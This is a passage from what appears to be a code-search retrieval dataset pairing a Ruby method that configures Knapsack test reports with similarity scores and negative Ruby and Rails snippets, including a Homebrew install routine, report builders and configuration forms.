"def install\n system \"make\"\n pkgshare.install Dir[\"bin/*.R\"]\n pkgshare.install Dir[\"bin/*.r\"]\n rm Dir[\"bin/*.R\"]\n rm Dir[\"bin/*.r\"]\n bin.install Dir[\"bin/*\"]\n bin.install \"fastahack/fastahack\"\n pkgshare.install \"samples\"\n end"
] |
[
"0.6378302",
"0.58142465",
"0.5811897",
"0.5429503",
"0.5412068",
"0.53860205",
"0.5375154",
"0.5346813",
"0.5346813",
"0.5322329",
"0.53153825",
"0.53139937",
"0.5310551",
"0.530886",
"0.5297804",
"0.52954435",
"0.5291388",
"0.5283234",
"0.52825147",
"0.52732813",
"0.52369666",
"0.52039164",
"0.5173308",
"0.51722443",
"0.51345956",
"0.5126391",
"0.5126391",
"0.5126391",
"0.5126391",
"0.5126391",
"0.5126391",
"0.51229626",
"0.510794",
"0.509779",
"0.50961435",
"0.5086359",
"0.5080293",
"0.5049409",
"0.5049409",
"0.5033506",
"0.50318843",
"0.5017052",
"0.49633616",
"0.49606633",
"0.49576885",
"0.49574435",
"0.4949619",
"0.4949619",
"0.4949619",
"0.4949619",
"0.4949619",
"0.4949619",
"0.4949619",
"0.49461046",
"0.4944489",
"0.49352753",
"0.49333948",
"0.49233583",
"0.49189365",
"0.49125886",
"0.49061802",
"0.49025163",
"0.4894799",
"0.48863938",
"0.48855552",
"0.48760623",
"0.4874826",
"0.48739904",
"0.4871549",
"0.48594454",
"0.48561993",
"0.48507622",
"0.4850287",
"0.48497036",
"0.48419544",
"0.4838565",
"0.47942013",
"0.47925788",
"0.47881553",
"0.47839034",
"0.47751895",
"0.47751895",
"0.47751305",
"0.477288",
"0.47727597",
"0.47700536",
"0.47677475",
"0.47642547",
"0.47579163",
"0.47552785",
"0.47552785",
"0.4752328",
"0.47487804",
"0.47461388",
"0.47411495",
"0.4741052",
"0.47346485",
"0.47337288",
"0.4720451",
"0.47076496"
] |
0.69993186
|
0
|
Configure knapsack report Setup variables Fetch latest report
|
def configure!
ENV["KNAPSACK_TEST_FILE_PATTERN"] ||= "qa/specs/features/**/*_spec.rb"
ENV["KNAPSACK_REPORT_PATH"] = report_path
Knapsack.logger = QA::Runtime::Logger.logger
download_report
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def default_report_settings!\n\n #set up default values\n self.network_perf = true\n self.network_perf = true\n self.route_perf_t = true\n self.route_tt_t = true\n self.route_perf_c = true\n self.route_tt_c = true\n self.duration = 86400\n\n #These are used for ScaterPlots and ScatterGroups in \n #report generator. Will add when we get there.\n #@simulation_batches = Array.new\n #@scenarios = Array.new\n # begin\n # params[:sim_ids].each do |s|\n # sb = SimulationBatch.find_by_id(s)\n # @simulation_batches.push(sb)\n # @scenarios.push(Scenario.find_by_id(sb.scenario_id))\n # end\n # rescue NoMethodError\n # \n # end\n\n end",
"def setup_summary_report\n assign_to_from_dates\n @filter = @filter.remove_blanks_in_arrays\n @filter_name = @filter[:name]\n assign_grouping_type\n assign_facilities\n end",
"def reports\n\n # Revenue report initialization\n if params[:view] == 'revenue'\n @subtotal = 0\n @total = 0\n @tax = 0\n @gratuity = 0\n @birthdays = 0\n @points = 0\n @coupons = 0\n ticket = Ticket.all\n #Sum values from all tickets\n ticket.each do |bill|\n @subtotal += bill.subtotal unless bill.subtotal.nil? \n @tax += bill.tax unless bill.tax.nil?\n @gratuity += bill.gratuity unless bill.gratuity.nil?\n @total += bill.total unless bill.total.nil?\n @birthdays += 1 if bill.birthday\n @points += 1 if bill.points\n @coupons += 1 if bill.coupon\n end\n #Generate list and attach values\n @items_sold = []\n @menuitems = Menuitem.all\n @menuitems.each do |item|\n @items_sold << OrderItem.where(item:item.id).count\n end \n # Top seller report \n elsif params[:view] == 'top sellers'\n @best_sellers = []\n ['Appetizers','Entrees','Desserts','Drinks'].each do |category|\n #initialize values to zero\n top_sell_id = 0\n top_sell_count = 0\n\n second_sell_id = 0\n second_sell_count = 0\n\n third_sell_id = 0\n third_sell_count = 0\n\n menuitems = Menuitem.where(category:category)\n #total and organize top 3 of each catagory\n menuitems.each do |item|\n items_sold = OrderItem.where(item:item.id).count\n if items_sold > top_sell_count\n third_sell_id = second_sell_id\n third_sell_count = second_sell_count\n \n second_sell_id = top_sell_id\n second_sell_count = top_sell_count\n \n top_sell_id = item.id\n top_sell_count = items_sold\n \n elsif items_sold > second_sell_count\n third_sell_id = second_sell_id\n third_sell_count = second_sell_count\n \n second_sell_id = item.id\n second_sell_count = items_sold\n \n elsif items_sold > third_sell_count\n third_sell_id = item.id\n third_sell_count = items_sold\n end\n end\n \n #print top sellers\n @best_sellers << Menuitem.where(id:top_sell_id).first\n @best_sellers << Menuitem.where(id:second_sell_id).first\n @best_sellers << Menuitem.where(id:third_sell_id).first\n end\n #Comp item report\n elsif params[:view] == 'compitem'\n orderitems = OrderItem.where(compitem:true)\n @compitems = []\n @menuitem = []\n orderitems.each do |order|\n @compitems << Compitem.where(id:order.compitem_id).first\n @menuitem << Menuitem.where(id:order.item).first.name\n end \n tickets = Ticket.where(\"compticket_id IS NOT ?\", nil)\n tickets.each do |ticket|\n @compitems << Compticket.where(id:ticket.compticket_id).first\n @menuitem << \"Ticket from Table#{ticket.table}\"\n end \n end\n end",
"def buyflow(testrun)\n # Pull this test runs test suite from model query\n suite = TestSuites.find(testrun['test_suites_id'])\n\n # Get the campaign data for the test run requested\n campaign_data = GRDatabase.get_campaign_data(testrun['Brand'], testrun['expectedcampaign'], testrun['Env'], testrun['DriverPlatform'], testrun['realm']).entries[0]\n\n # break the data into a Hash Object that the Campaign_Configuration variable needs for testing\n campaign_data = campaign_data.attributes\nconf_email_to_use = ''\n # Add platform as a part of the campaign Hash object\n campaign_data.merge!({'platform' => testrun['Driver']})\n if(!suite.email_random)\n if(suite.emailnotification.include?(';'))\n conf_email_to_use = suite.emailnotification.split(';')[0].strip() \n else\n conf_email_to_use = suite.emailnotification\n end\n else\n conf_email_to_use = Time.now.to_i.to_s + \".9e08e713@mailosaur.in\"\n end\n\n \n campaign_data.merge!({'ConfEmailOverride' => conf_email_to_use})\n\n # vvv OBSOLETECODE vvv\n # offers = GRDatabase.get_offer_data(user_brand, user_campaign, platform)\n\n # Check for the existance of a expected offercode\n if !testrun['ExpectedOffercode'].strip.empty?\n\n # pull it from the test run if it exists\n offer_code = testrun['ExpectedOffercode']\n else\n\n # use the default value if present, if not the offercode will be nil\n offer_code = campaign_data[\"default_offercode\"]\n end\n\n # Create a new test object which can be filled with test run data\n test_obj = GRTesting::BuyflowTest.new(title: testrun['test name'], browser: testrun['Driver'], configuration: campaign_data, offer_code: offer_code, id: testrun['id'])\n \n # Store the author of the test run \n # @todo - use the given Ran_By\n # I don't even think this code is needed anymore, but I don't want to remove it for risk of breaking something. Will investigate if time, but for now its not hurting anything.\n test_obj.report.author = \"Automation\"\n \n # The environment the test run is being run in\n test_obj.report.environment = testrun['Env']\n \n # The url that the test run is being run against\n test_obj.report.url = URLFactory.generate_url(brand: campaign_data['Brand'], server: testrun['Env'], campaign: campaign_data['grcid'], test: (campaign_data['testenabled'] == 1)) if(testrun['url'].empty?)\n \n # Print out the url to be tested from URL factory\n test_obj.report.uci_report.expected_uci = campaign_data['UCI']\n Rails.logger.info \"Url from URLFactory: #{test_obj.report.url}\"\n \n # override of url (for realm 2 fix) from campaign configuration\n if(test_obj.report.environment == \"prod\")\n test_obj.report.url = campaign_data[\"produrl\"] if(!campaign_data[\"produrl\"].empty?)\n Rails.logger.info \"OVERRIDE - Url from Campaign Configuration: #{test_obj.report.url}\"\n else\n test_obj.report.url = campaign_data[\"qaurl\"] if(!campaign_data[\"qaurl\"].empty?)\n Rails.logger.info \"OVERRIDE - Url from Campaign Configuration: #{test_obj.report.url}\"\n end\n \n # Override url if testrun has a different url\n test_obj.report.url = testrun['url'] if !testrun['url'].strip.empty?\n if(!test_obj.report.url.include?(\"http\"))\n test_obj.report.url = \"http://#{test_obj.report.url}\"\n end\n #ssankara - adding to append mmcore.gm=2 for maxymiser test urls on Realm 2 (7 lines) \n if(campaign_data[\"testenabled\"] == 1 && !test_obj.report.url.include?(\"mmcore\"))\n if(test_obj.report.url.include?(\"?\"))\n test_obj.report.url = \"#{test_obj.report.url}&mmcore.gm=2\"\n else\n test_obj.report.url = \"#{test_obj.report.url}/?mmcore.gm=2\"\n end\n end\n Rails.logger.info \"OVERRIDE Url from Test Run configuration: #{test_obj.report.url}\"\n\n test_obj.report.suite_id = testrun['test_suites_id']\n test_obj.report.buyflow_report.expected_offer_code = offer_code\n suite['Status'] = 'Running'\n suite.save! # \n \n # runs the test in Grotto\n test_obj.run() \n\n # Records test report to database\n test_obj.report.upload \n\n # updates suite record in database\n update_suite(suite) \n\n end",
"def report_base_path\n @report_base_path ||= \"knapsack\"\n end",
"def set_defaults\n unless persisted? \n self.solution_type ||= 'Export'\n self.client_approved ||= false\n self.drive_time_from_load_to_tip ||= 0\n self.drive_time_into_site ||= 0\n self.drive_time_into_tip ||= 0\n self.drive_time_out_of_site ||= 0 \n self.drive_time_tip_to_load ||= 0\n self.drive_time_out_of_tip_site ||= 0\n self.invoice_load_client ||= 0.00\n self.pay_load_client ||= 0.00\n self.invoice_tip_client ||= 0.00\n self.pay_tip_client ||= 0.00\n self.kms_one_way ||= 0\n self.load_time ||= 0\n self.loads_per_day ||= 0\n self.pay_equipment_per_unit ||= 0.00\n self.pay_tip ||= 0.00\n self.pay_tolls ||= 0.00\n self.semis_permitted ||= false\n self.approved ||= false\n self.total_material ||= 0\n self.unit_of_material ||= 'm3'\n self.unload_time ||= 0\n self.purchase_order_required ||= self.quote.project.company.PO_required\n self.drive_time_out_of_tip_site ||= 0\n # Job delegates to :equipment_units_required_per_day\n \n self.invoice_load_client ||= 0.00\n self.pay_load_client ||= 0.00\n self.invoice_tip_client ||= 0.00\n self.pay_tip_client ||= 0.00\n self.hourly_hire_rate ||= 0.00\n \n self.equipment_units_required_per_day ||= 1\n self.equipment_dollars_per_day ||= 1250 unless self.equipment_dollars_per_day\n end\n end",
"def set_report\n end",
"def pcb_admin_home_setup\n \n @designer = {}\n\n release_review = ReviewType.get_release\n designs = Design.find_all_by_phase_id(release_review.id,\n 'created_on ASC')\n\n designs = designs.sort_by { |dr| dr.priority.value }\n \n @design_list = []\n designs.each do |design|\n\n design_summary = {:design => design}\n\n reviews = design.design_reviews.sort_by{ |r| r.review_type.sort_order }\n\n # Go through the reviews until the first review that has not been\n # started is found.\n review_list = []\n\t reviews_started = 0\n\t next_review = nil\n\n reviews.each do |review|\n\n next_review = review\n\n \n break if review.review_status.name == 'Not Started'\n last_status = review.review_status.name\n \n reviews_started += 1\n\n review_rec = {:review => review}\n review_results = review.design_review_results\n review_rec[:reviewers] = review_results.size\n review_results.delete_if { |dr| dr.result != 'APPROVED' && dr.result != 'WAIVED' }\n review_rec[:approvals] = review_results.size\n review_list.push(review_rec)\n \n end\n\n design_summary[:reviews] = review_list\n\n if reviews_started == 0\n design_summary[:next_review] = reviews[0]\n elsif reviews.size == review_list.size\n design_summary[:next_review] = nil\n elsif next_review && next_review.review_status.name == \"Not Started\"\n design_summary[:next_review] = next_review\n else\n design_summary[:next_review] = nil\n end\n\n audit = design.audit\n design_summary[:audit] = audit\n\n num_checks = audit.check_count\n\t\n design_summary[:percent_complete] = \n audit.designer_completed_checks * 100.0 / num_checks[:designer]\n design_summary[:peer_percent_complete] = \n audit.auditor_completed_checks * 100.0 / num_checks[:peer]\n\n @design_list.push(design_summary)\n end\n\n end",
"def sunday_weekly_batch\n JdeFetch.checking_buffer\n JdeFetch.checking_item_cost\n end",
"def package_data\n\t\t\t@hashPack = { \n\t\t \t\"company_growth\" => self.instance_variable_get(:@companyGrowth),\n\t\t \"forward_dividend\" => self.instance_variable_get(:@forwardDividendRate),\n\t\t \"trailing_dividend\" => self.instance_variable_get(:@trailingDividendRate),\n\t\t \"tax_rate\" => self.instance_variable_get(:@taxRate),\n\t\t \"trade_name\" => self.instance_variable_get(:@stockProfile).proper_name,\n\t\t \"stock_ticker\" => self.instance_variable_get(:@stock_ticker),\n\t\t \"free_cash_flow\" => self.instance_variable_get(:@freeCashFlow),\n\t\t \"number_shares\" => self.instance_variable_get(:@numShares),\n\t\t \"current_pe_ratio\" => self.instance_variable_get(:@current_pe_ratio),\n\t\t \"current_pe_comp\" => self.instance_variable_get(:@current_pe_comp),\n\t\t \"beta\" => self.instance_variable_get(:@threeYearBeta),\n\t\t \"industry\" => self.instance_variable_get(:@stockProfile).industry,\n\t\t \"sic_code\" => self.instance_variable_get(:@stockProfile).sic_code,\n\t\t \"exchange\" => self.instance_variable_get(:@stockProfile).exchange,\n\t\t \"market_cap\" => self.instance_variable_get(:@marketCap),\n\t\t \"net_assets\" => self.instance_variable_get(:@netAssets),\n\t\t \"total_debt\" => self.instance_variable_get(:@totalDebt),\n\t\t \"stock_price\" => get_show_quote, \n\t\t \t\"stockbot_price\" => self.instance_variable_get(:@computed_share_value),\n\t\t \"pe_value\" => self.instance_variable_get(:@PE_Comparable_Valuation),\n\t\t \"nav_value\" => self.instance_variable_get(:@NAV_Valuation),\n\t\t \"capm_value\" => self.instance_variable_get(:@CAPM_Valuation),\n\t\t \"wacc_value\" => self.instance_variable_get(:@WACC_Valuation),\n\t\t \"dividend_value\" => self.instance_variable_get(:@Dividend_Valuation),\n\t\t \"sentiment_value\" => self.instance_variable_get(:@Sentiment_Valuation)\n\t\t\t}\n \tend",
"def index\n @scrape_configs = ScrapeConfig.all.order(year: :desc, week: :desc)\n end",
"def setup\n current_user = options[:currentuser]\n all_flag = options[:allflag]\n if current_user.percentcompleteenabled\n table = Table([:description, :goaltype_label, :datecompleted, :created_date, :last_updated_date, :percentcomplete]) do |t|\n if all_flag\n current_user.goals.find(:all).each {|g| t << g.report_record()}\n else\n current_user.goals.find(:all).each {|u| t << u.report_record unless u.datecompleted != nil}\n end\n end\n \n table.rename_columns(:description => \"Description\",\n :goaltype_label => \"Goal Type\",\n :datecompleted => \"Date Completed\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\",\n :percentcomplete => \"Percent Complete\")\n\n else\n table = Table([:description, :goaltype_label, :datecompleted, :created_date, :last_updated_date]) do |t|\n if all_flag\n current_user.goals.find(:all).each {|g| t << g.report_record()}\n else\n current_user.goals.find(:all).each {|u| t << u.report_record unless u.datecompleted != nil}\n end\n end\n\n table.rename_columns(:description => \"Description\",\n :goaltype_label => \"Goal Type\",\n :datecompleted => \"Date Completed\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\")\n\n \n end\n\n self.data = table\n end",
"def calc_custom_config()\n \n @custom_configs = {}\n \n case @crit \n when :family\n @custom_configs[[:all,\"raxml\",50, :abs]] = [410 - 5 + 5 ,140] #\n @custom_configs[[:all,\"raxml\",50, :rel]] = [410 + 30 ,140] #\n \n @custom_configs[[:all,\"raxml\",75, :abs]] = [410 - 25 + 5 ,140] #\n @custom_configs[[:all,\"raxml\",75, :rel]] = [410 + 10 ,140] #\n \n @custom_configs[[:all,\"phyml\",50, :abs]] = [410 - 5 + 5,140]\n @custom_configs[[:all,\"phyml\",50, :rel]] = [410 + 30 ,140]\n \n @custom_configs[[:all,\"phyml\",75, :abs]] = [410 - 25 + 5,140]\n @custom_configs[[:all,\"phyml\",75, :rel]] = [410 + 10 ,140]\n \n @custom_configs[[:regular,\"raxml\",50, :abs]] = [410 - 20 + 5,140] #\n @custom_configs[[:regular,\"raxml\",50, :rel]] = [410 + 20 ,140] #\n \n #most restrictive\n @custom_configs[[:regular,\"raxml\",75, :abs]] = [410 - 30 + 5,140] #370\n \n @custom_configs[[:regular,\"raxml\",75, :rel]] = [425 , 130, 100 ] #10 max\n \n @custom_configs[[:regular,\"phyml\",50, :abs]] = [410 - 20 + 5,140]\n @custom_configs[[:regular,\"phyml\",50, :rel]] = [410 + 20 ,140]\n @custom_configs[[:regular,\"phyml\",75, :abs]] = [410 - 30 + 5,140] \n @custom_configs[[:regular,\"phyml\",75, :rel]] = [410 + 10 ,140] \n when :habitat\n @custom_configs[[:all,\"raxml\",50, :abs]] = [250 ,100] \n @custom_configs[[:all,\"raxml\",50, :rel]] = [250 ,100] \n \n @custom_configs[[:all,\"raxml\",75, :abs]] = [250 ,100] \n @custom_configs[[:all,\"raxml\",75, :rel]] = [210 ,70] \n \n @custom_configs[[:all,\"phyml\",50, :abs]] = [250 ,100] \n @custom_configs[[:all,\"phyml\",50, :rel]] = [250 ,100] \n \n @custom_configs[[:all,\"phyml\",75, :abs]] = [250 ,100] \n @custom_configs[[:all,\"phyml\",75, :rel]] = [250 ,100] \n \n @custom_configs[[:regular,\"raxml\",50, :abs]] = [250 ,100] \n @custom_configs[[:regular,\"raxml\",50, :rel]] = [250 ,100] \n \n #most restrictive\n @custom_configs[[:regular,\"raxml\",75, :abs]] = [220 ,80, 550] #120\n \n @custom_configs[[:regular,\"raxml\",75, :rel]] = [215 , 70 , 2] #0.315\n \n @custom_configs[[:regular,\"phyml\",50, :abs]] = [250 ,100] \n @custom_configs[[:regular,\"phyml\",50, :rel]] = [250 ,100] \n @custom_configs[[:regular,\"phyml\",75, :abs]] = [250 ,100] \n @custom_configs[[:regular,\"phyml\",75, :rel]] = [250 ,100] \n end\n \n querry_arr = [@hgt_type, @phylo_prog, @thres, @calc_type] \n #puts \"qer_arr: #{querry_arr.inspect}\"\n #puts \"@custom_configs: #{@custom_configs.inspect}\"\n @config = @custom_configs[querry_arr]\n\n \n end",
"def calc_custom_config()\n \n @custom_configs = {}\n \n case @crit \n when :family\n @custom_configs[[:all,\"raxml\",50, :abs]] = [410 - 5 + 5 ,140] #\n @custom_configs[[:all,\"raxml\",50, :rel]] = [410 + 30 ,140] #\n \n @custom_configs[[:all,\"raxml\",75, :abs]] = [410 - 25 + 5 ,140] #\n @custom_configs[[:all,\"raxml\",75, :rel]] = [410 + 10 ,140] #\n \n @custom_configs[[:all,\"phyml\",50, :abs]] = [410 - 5 + 5,140]\n @custom_configs[[:all,\"phyml\",50, :rel]] = [410 + 30 ,140]\n \n @custom_configs[[:all,\"phyml\",75, :abs]] = [410 - 25 + 5,140]\n @custom_configs[[:all,\"phyml\",75, :rel]] = [410 + 10 ,140]\n \n @custom_configs[[:regular,\"raxml\",50, :abs]] = [410 - 20 + 5,140] #\n @custom_configs[[:regular,\"raxml\",50, :rel]] = [410 + 20 ,140] #\n \n #most restrictive\n @custom_configs[[:regular,\"raxml\",75, :abs]] = [410 - 30 + 5,140] #370\n \n @custom_configs[[:regular,\"raxml\",75, :rel]] = [425 , 130, 100 ] #10 max\n \n @custom_configs[[:regular,\"phyml\",50, :abs]] = [410 - 20 + 5,140]\n @custom_configs[[:regular,\"phyml\",50, :rel]] = [410 + 20 ,140]\n @custom_configs[[:regular,\"phyml\",75, :abs]] = [410 - 30 + 5,140] \n @custom_configs[[:regular,\"phyml\",75, :rel]] = [410 + 10 ,140] \n when :habitat\n @custom_configs[[:all,\"raxml\",50, :abs]] = [250 ,100] \n @custom_configs[[:all,\"raxml\",50, :rel]] = [250 ,100] \n \n @custom_configs[[:all,\"raxml\",75, :abs]] = [250 ,100] \n @custom_configs[[:all,\"raxml\",75, :rel]] = [210 ,70] \n \n @custom_configs[[:all,\"phyml\",50, :abs]] = [250 ,100] \n @custom_configs[[:all,\"phyml\",50, :rel]] = [250 ,100] \n \n @custom_configs[[:all,\"phyml\",75, :abs]] = [250 ,100] \n @custom_configs[[:all,\"phyml\",75, :rel]] = [250 ,100] \n \n @custom_configs[[:regular,\"raxml\",50, :abs]] = [250 ,100] \n @custom_configs[[:regular,\"raxml\",50, :rel]] = [250 ,100] \n \n #most restrictive\n @custom_configs[[:regular,\"raxml\",75, :abs]] = [220 ,80, 550] #120\n \n @custom_configs[[:regular,\"raxml\",75, :rel]] = [215 , 70 , 2] #0.315\n \n @custom_configs[[:regular,\"phyml\",50, :abs]] = [250 ,100] \n @custom_configs[[:regular,\"phyml\",50, :rel]] = [250 ,100] \n @custom_configs[[:regular,\"phyml\",75, :abs]] = [250 ,100] \n @custom_configs[[:regular,\"phyml\",75, :rel]] = [250 ,100] \n end\n \n querry_arr = [@hgt_type, @phylo_prog, @thres, @calc_type] \n #puts \"qer_arr: #{querry_arr.inspect}\"\n #puts \"@custom_configs: #{@custom_configs.inspect}\"\n @config = @custom_configs[querry_arr]\n\n \n end",
"def set_budget\n self.budget = self.package.price + self.affiliate_fee\n self.freelancer_fee = self.package.freelancer_fee\n end",
"def create_config_cups kit, number_of_compartments, cup_layouts\n cup_count = 0\n cup_layouts.each_with_index do |cup_layout,index|\n cup_layout = cup_layout.sort { |a,b| a[1] <=> b[1] }\n cup = Array.new\n cup_layout.each { |cl| cup << cl.at(1) }\n cup.uniq!\n record_to_sort = Array.new\n cup.each { |record|\n record_to_sort << cup_layout.select { |data| data[1] == record }\n }\n cup_layout = Array.new\n record_to_sort.each { |rec|\n record = rec.sort! { |a,b| a[0] <=> b[0] }\n record.each { |new_rec| cup_layout << new_rec }\n }\n number_of_compartments = cup_layout.count\n index = index + 1\n\n for i in 0..number_of_compartments-1\n cup_id = kit.cups.create(:commit_status => false,:cup_dimension => cup_layout[i].join(','),:cup_number => cup_count + i+1, :status => 1)\n cup_id.update_attribute(\"cup_dimension\",cup_id.cup_dimension+\",#{index}\"+\",#{cup_id.id}\")\n end\n cup_count = cup_count + (i + 1)\n end\n cup_count =0\n end",
"def set_defaults\n [:labor_paid, :labor_retained, :material_paid, :material_retained].each do |sym|\n #self.send(\"#{sym.to_s}=\", self.markup.apply_to(self.payment.lines.includes(:component => :markups).where('markups.id = ?', self.markup_id).sum(sym)))\n self.send(\"#{sym.to_s}=\", 0)\n end\n self.set_sums\n end",
"def setup\n current_user = options[:currentuser]\n all_flag = options[:allflag]\n if current_user.percentcompleteenabled\n table = Table([:description, :category_label, :created_date, :last_updated_date, :percentcomplete]) do |t|\n if all_flag\n current_user.tasks.find(:all).each {|u| t << u.report_record() }\n else\n completed_category = current_user.category.find(:all, :conditions => [\n \"label = 'Completed'\"\n ])\n current_user.tasks.find(:all).each {|u| t << u.report_record unless u.category_id == completed_category[0].id}\n end\n end\n table.rename_columns(:description => \"Description\",\n :category_label => \"Task Category\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\",\n :percentcomplete => \"Percent Complete\")\n else\n table = Table([:description, :category_label, :created_date, :last_updated_date]) do |t|\n if all_flag\n current_user.tasks.find(:all).each {|u| t << u.report_record() }\n else\n completed_category = current_user.category.find(:all, :conditions => [\n \"label = 'Completed'\"\n ])\n current_user.tasks.find(:all).each {|u| t << u.report_record unless u.category_id == completed_category[0].id}\n end\n end\n table.rename_columns(:description => \"Description\",\n :category_label => \"Task Category\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\")\n end\n \n self.data = table\n end",
"def index\n @appfigures = self.appfigures\n @chartboost = self.chartboost\n #@money_spent = 0\n \n \n # @chartboost.sort_by {|day| day['Date']}.each do |key|\n # selected_date = key['Date'].to_s\n # money_spent = key['Money Spent'].scan(/[.0-9]/).join().to_f\n # money_earned = key['Money Earned'].scan(/[.0-9]/).join().to_f\n \n # profit = @appfigures[selected_date]['revenue'].to_f + money_earned - money_spent\n # profit = profit.to_s\n \n # p key['Date'] + ' Revenue: $' + @appfigures[selected_date]['revenue'] + ' Spent: '+ key['Money Spent'] + ' CB Rev: '+ key['Money Earned'] + ' Profit: $' + profit\n #end\n \n @appfigures.sort.each do |date, value|\n puts value['date'] + value['revenue']\n puts @chartboost[2]['Money Spent']\n end\n\n end",
"def solve\n @sorted_things.each do |thing|\n break if (config_weight + thing.weight) > @instance.weight_capacity\n @config[thing.index] = 1\n end\n @best_price = config_price\n @best_config = @config.dup\n end",
"def init_config\n\t \t@use_caching = Bibmix::get_config('request_caching', true)\n\t \t# CCSB shows relevance numbers next to search results, only try to integrate results\n \t\t# with a higher relevance than stated below.\n \t\t@request_relevance_threshold = Bibmix::get_config('ccsb_request_relevance_threshold', 50)\n\t \tend",
"def action_daily\n # ToDo: Change the hard coded report to a Report setting, or client base\n raise 'Hard coded report implementation' unless RAILS_ENV =~ /susbkk/\n end",
"def view_retail_unit_setup(retail_unit_setup)\n \n puts \"hi\"\n retail_unit_setup.production_schedule_code = session[:current_carton_setup].production_schedule_code\n\tretail_unit_setup.color_percentage = session[:current_carton_setup].color_percentage\n\tretail_unit_setup.grade_code = session[:current_carton_setup].grade_code\n\tretail_unit_setup.org = session[:current_carton_setup].org\n\tretail_unit_setup.sequence_number = session[:current_carton_setup].sequence_number\n\tretail_unit_setup.production_schedule_code = session[:current_carton_setup].production_schedule_code\n retail_unit_setup.std_count = session[:current_carton_setup].standard_size_count_value\n \n field_configs = Array.new\n\t\n\tfield_configs[0] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'production_schedule_code'}\n\t\n\tfield_configs[1] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'std_count'}\n\t\n\t\n\tfield_configs[2] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'unit_pack_product_code'}\n\t\n\t\n\tfield_configs[3] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'color_percentage'}\n\t\t\t\t\t\t\n\tfield_configs[4] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'grade_code'}\n\t\t\t\t\t\t\n\tfield_configs[5] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'org'}\n\t\n\tfield_configs[6] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'sequence_number'}\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\tfield_configs[7] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'pack_material_product_code'}\n \n\tfield_configs[8] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'mark_code'}\n\n\tfield_configs[9] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'items_per_unit'}\n\t\t\t\t\t\t\n\tfield_configs[10] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'units_per_carton'}\n\n\tfield_configs[11] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'label_code'}\n\n#\t----------------------------------------------------------------------------------------------\n#\tCombo fields to represent foreign key (handling_product_id) on related table: handling_products\n#\t----------------------------------------------------------------------------------------------\n\tfield_configs[12] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'handling_product_code'}\n \n\tfield_configs[13] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'handling_message'}\n\n \n field_configs[14] = {:field_type => 'LinkField',:field_name => 'unit_pack_product',\n\t\t\t:settings => \n\t\t\t\t {:link_text => 'view',\n\t\t\t\t:target_action => 'view_unit_pack_product',\n\t\t\t\t:id_column => 'id'}}\n \n\tbuild_form(retail_unit_setup,field_configs,\"view_carton_setup\",'retail_unit_setup',\"back\")\n \n \n end",
"def index\n set_product_risk_plans_grid\n end",
"def set_default_values\n # Ethernet configuration\n self.network_1_id ||= 1\n self.ethernet_ip_assignment_method_id ||=1\n # GRPS\n self.gprs_mtu ||= 1450\n # PSTN\n self.pstn_mtu ||= 1500\n # Time configuration\n self.time_zone ||= 'UTC'\n # Interval configuration\n self.configuration_update_interval ||= 3600\n self.status_interval ||= 3600\n self.send_data_interval ||= 86400\n # Software update configuration\n self.auto_update ||= false\n self.software_update_interval ||= 604800\n self.repo_type ||= 'stable'\n # Log configuration\n self.send_log_files ||= false\n # State XML\n self.state_xml ||= \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<modified>true</modified>\\n\"\n end",
"def view_retail_item_setup(retail_item_setup)\n \n \n retail_item_setup.production_schedule_code = session[:current_carton_setup].production_schedule_code\n\tretail_item_setup.color_percentage = session[:current_carton_setup].color_percentage\n\tretail_item_setup.grade_code = session[:current_carton_setup].grade_code\n\tretail_item_setup.org = session[:current_carton_setup].org\n\tretail_item_setup.sequence_number = session[:current_carton_setup].sequence_number\n\tretail_item_setup.production_schedule_code = session[:current_carton_setup].production_schedule_code\n \n field_configs = Array.new\n\t\n\tfield_configs[0] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'production_schedule_code'}\n\t\n\tfield_configs[1] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'item_pack_product_code'}\n\t\n\tfield_configs[2] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'basic_pack_code'}\n\t\t\t\t\t\t\n\tfield_configs[3] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'color_percentage'}\n\t\t\t\t\t\t\n\tfield_configs[4] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'grade_code'}\n\t\t\t\t\t\t\n\tfield_configs[5] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'org'}\n\t\n\tfield_configs[6] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'sequence_number'}\n\t\t\t\t\t\t\t\t\t\t\t\n \n\tfield_configs[7] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'pack_material_product_code'}\n \n\tfield_configs[8] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'mark_code'}\n\n\tfield_configs[9] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'label_code'}\n\n#\t----------------------------------------------------------------------------------------------\n#\tCombo fields to represent foreign key (handling_product_id) on related table: handling_products\n#\t----------------------------------------------------------------------------------------------\n\tfield_configs[10] = {:field_type => 'LabelField',\n\t\t\t\t\t\t:field_name => 'handling_product_code'}\n \n\tfield_configs[11] = {:field_type => 